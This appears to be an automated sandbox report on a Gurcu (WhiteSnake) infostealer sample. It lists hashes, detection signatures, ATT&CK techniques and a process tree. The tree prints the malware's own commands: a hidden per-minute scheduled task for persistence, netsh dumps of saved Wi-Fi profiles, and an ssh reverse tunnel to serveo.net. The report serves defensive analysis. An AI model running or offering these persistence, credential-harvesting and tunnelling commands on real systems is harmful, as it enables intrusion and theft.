gurcu | fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

Analysis

max time kernel
14s
max time network
70s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
05/10/2023, 21:52

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General

Target
1edb8aa1adacda31bc98064b1634ddea.exe
Size 225KB
Sample231005-1rd8nsfe4x
SHA256 fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575
MD5 1edb8aa1adacda31bc98064b1634ddea
SHA1 7dc5aee1dd577b61a41a5001d465f0606bb33618
SHA512 26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a
SSDEEP 3072:GQ2NGV19gqU3pJpfYTCOoShKmECPTKBWFPkl6WQre9Q29bSHXGhrD9HA2AF+q73o:uGDCOoSEmkWeILe9z9bS30AzHe0
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

gurcu collection discovery spyware stealer

Malware Config

Signatures

Detect Gurcu Stealer V3 payload 4 IoCs

resource	yara_rule
behavioral2/memory/3640-0-0x0000018E79C50000-0x0000018E79C8E000-memory.dmp	family_gurcu_v3
behavioral2/files/0x00060000000231ff-9.dat	family_gurcu_v3
behavioral2/files/0x00060000000231ff-8.dat	family_gurcu_v3
behavioral2/files/0x00060000000231ff-16.dat	family_gurcu_v3

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Control Panel\International\Geo\Nation	1edb8aa1adacda31bc98064b1634ddea.exe

Executes dropped EXE 2 IoCs

pid	Process
1496	1edb8aa1adacda31bc98064b1634ddea.exe
5048	1edb8aa1adacda31bc98064b1634ddea.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1edb8aa1adacda31bc98064b1634ddea.exe
Key opened	\REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1edb8aa1adacda31bc98064b1634ddea.exe
Key opened	\REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1edb8aa1adacda31bc98064b1634ddea.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
44	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1680	schtasks.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3396	PING.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1496	1edb8aa1adacda31bc98064b1634ddea.exe
1496	1edb8aa1adacda31bc98064b1634ddea.exe
1496	1edb8aa1adacda31bc98064b1634ddea.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3640	1edb8aa1adacda31bc98064b1634ddea.exe
Token: SeDebugPrivilege	1496	1edb8aa1adacda31bc98064b1634ddea.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 3640 wrote to memory of 4300	3640	1edb8aa1adacda31bc98064b1634ddea.exe	85
PID 3640 wrote to memory of 4300	3640	1edb8aa1adacda31bc98064b1634ddea.exe	85
PID 4300 wrote to memory of 3724	4300	cmd.exe	87
PID 4300 wrote to memory of 3724	4300	cmd.exe	87
PID 4300 wrote to memory of 3396	4300	cmd.exe	88
PID 4300 wrote to memory of 3396	4300	cmd.exe	88
PID 4300 wrote to memory of 1680	4300	cmd.exe	94
PID 4300 wrote to memory of 1680	4300	cmd.exe	94
PID 4300 wrote to memory of 1496	4300	cmd.exe	96
PID 4300 wrote to memory of 1496	4300	cmd.exe	96
PID 1496 wrote to memory of 2088	1496	1edb8aa1adacda31bc98064b1634ddea.exe	98
PID 1496 wrote to memory of 2088	1496	1edb8aa1adacda31bc98064b1634ddea.exe	98
PID 2088 wrote to memory of 4448	2088	cmd.exe	100
PID 2088 wrote to memory of 4448	2088	cmd.exe	100
PID 2088 wrote to memory of 1480	2088	cmd.exe	101
PID 2088 wrote to memory of 1480	2088	cmd.exe	101
PID 2088 wrote to memory of 4368	2088	cmd.exe	102
PID 2088 wrote to memory of 4368	2088	cmd.exe	102
PID 1496 wrote to memory of 988	1496	1edb8aa1adacda31bc98064b1634ddea.exe	103
PID 1496 wrote to memory of 988	1496	1edb8aa1adacda31bc98064b1634ddea.exe	103
PID 988 wrote to memory of 2188	988	cmd.exe	105
PID 988 wrote to memory of 2188	988	cmd.exe	105
PID 988 wrote to memory of 816	988	cmd.exe	106
PID 988 wrote to memory of 816	988	cmd.exe	106
PID 988 wrote to memory of 1148	988	cmd.exe	107
PID 988 wrote to memory of 1148	988	cmd.exe	107
PID 1496 wrote to memory of 2692	1496	1edb8aa1adacda31bc98064b1634ddea.exe	108
PID 1496 wrote to memory of 2692	1496	1edb8aa1adacda31bc98064b1634ddea.exe	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1edb8aa1adacda31bc98064b1634ddea.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1edb8aa1adacda31bc98064b1634ddea.exe

C:\Users\Admin\AppData\Local\Temp\1edb8aa1adacda31bc98064b1634ddea.exe
"C:\Users\Admin\AppData\Local\Temp\1edb8aa1adacda31bc98064b1634ddea.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "1edb8aa1adacda31bc98064b1634ddea" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\1edb8aa1adacda31bc98064b1634ddea.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4300
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:3724
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:3396
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "1edb8aa1adacda31bc98064b1634ddea" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:1680
- - C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe
    "C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:1496
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2088
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:4448
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        
        PID:1480
    - - C:\Windows\system32\findstr.exe
        
        findstr /R /C:"[ ]:[ ]"
        5⤵
        
        PID:4368
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:988
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:2188
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        
        PID:816
    - - C:\Windows\system32\findstr.exe
        
        findstr "SSID BSSID Signal"
        5⤵
        
        PID:1148
  - - C:\Windows\System32\OpenSSH\ssh.exe
      "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:5219 serveo.net
      4⤵
      PID:2692

C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe
C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe
1⤵
- Executes dropped EXE
PID:5048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

1edb8aa1adacda31bc98064b1634ddea.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\1edb8aa1adacda31bc98064b1634ddea.exe.log
Size 847B
SHA256 169bc31a8d1666535977ca170d246a463e6531bb21faab6c48cb4269d9d60b2e
MD5 3308a84a40841fab7dfec198b3c31af7
SHA1 4e7ab6336c0538be5dd7da529c0265b3b6523083
SHA512 97521d5fb94efdc836ea2723098a1f26a7589a76af51358eee17292d29c9325baf53ad6b4496c5ca3e208d1c9b9ad6797a370e2ae378072fc68f5d6e8b73b198
MD5 SHA1 SHA512

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1edb8aa1adacda31bc98064b1634ddea.exe

Path C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe
Size 128KB
SHA256 c22fdbe226c7ed130d5ef5566255cb185ff7a7dee505d0b6149f25cecf05c23c
MD5 5ee7ae2648d0fbfbc2968530008aab9f
SHA1 2f088843697e66197696d5d5e1e05cb0cc6350f1
SHA512 672086a9a671835cd6afd7494acc8df55b397d6e6a0b35354171c6ecdba05fbed3230f3c57ad889bc97c73fbd826a9c864ee1832a91251832a6a94e497802d95
SSDEEP 3072:GQ2NGV19gqU3pJpfYTCOoShKmECPTKBWFPkA:uGDCOoSEmkWeA
MD5 SHA1 SHA512 SSDEEP

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1edb8aa1adacda31bc98064b1634ddea.exe

Path C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe
Size 225KB
SHA256 fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575
MD5 1edb8aa1adacda31bc98064b1634ddea
SHA1 7dc5aee1dd577b61a41a5001d465f0606bb33618
SHA512 26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a
SSDEEP 3072:GQ2NGV19gqU3pJpfYTCOoShKmECPTKBWFPkl6WQre9Q29bSHXGhrD9HA2AF+q73o:uGDCOoSEmkWeILe9z9bS30AzHe0
MD5 SHA1 SHA512 SSDEEP

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1edb8aa1adacda31bc98064b1634ddea.exe

Path C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe
Size 225KB
SHA256 fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575
MD5 1edb8aa1adacda31bc98064b1634ddea
SHA1 7dc5aee1dd577b61a41a5001d465f0606bb33618
SHA512 26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a
SSDEEP 3072:GQ2NGV19gqU3pJpfYTCOoShKmECPTKBWFPkl6WQre9Q29bSHXGhrD9HA2AF+q73o:uGDCOoSEmkWeILe9z9bS30AzHe0
MD5 SHA1 SHA512 SSDEEP

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memory/1496-11-0x00007FFB763C0000-0x00007FFB76E81000-memory.dmp

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memory/1496-12-0x0000018127070000-0x0000018127080000-memory.dmp

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memory/1496-15-0x00007FFB763C0000-0x00007FFB76E81000-memory.dmp

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memory/3640-0-0x0000018E79C50000-0x0000018E79C8E000-memory.dmp

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memory/3640-3-0x00007FFB77A90000-0x00007FFB78551000-memory.dmp

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memory/3640-4-0x0000018E7A070000-0x0000018E7A080000-memory.dmp

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memory/3640-6-0x00007FFB77A90000-0x00007FFB78551000-memory.dmp

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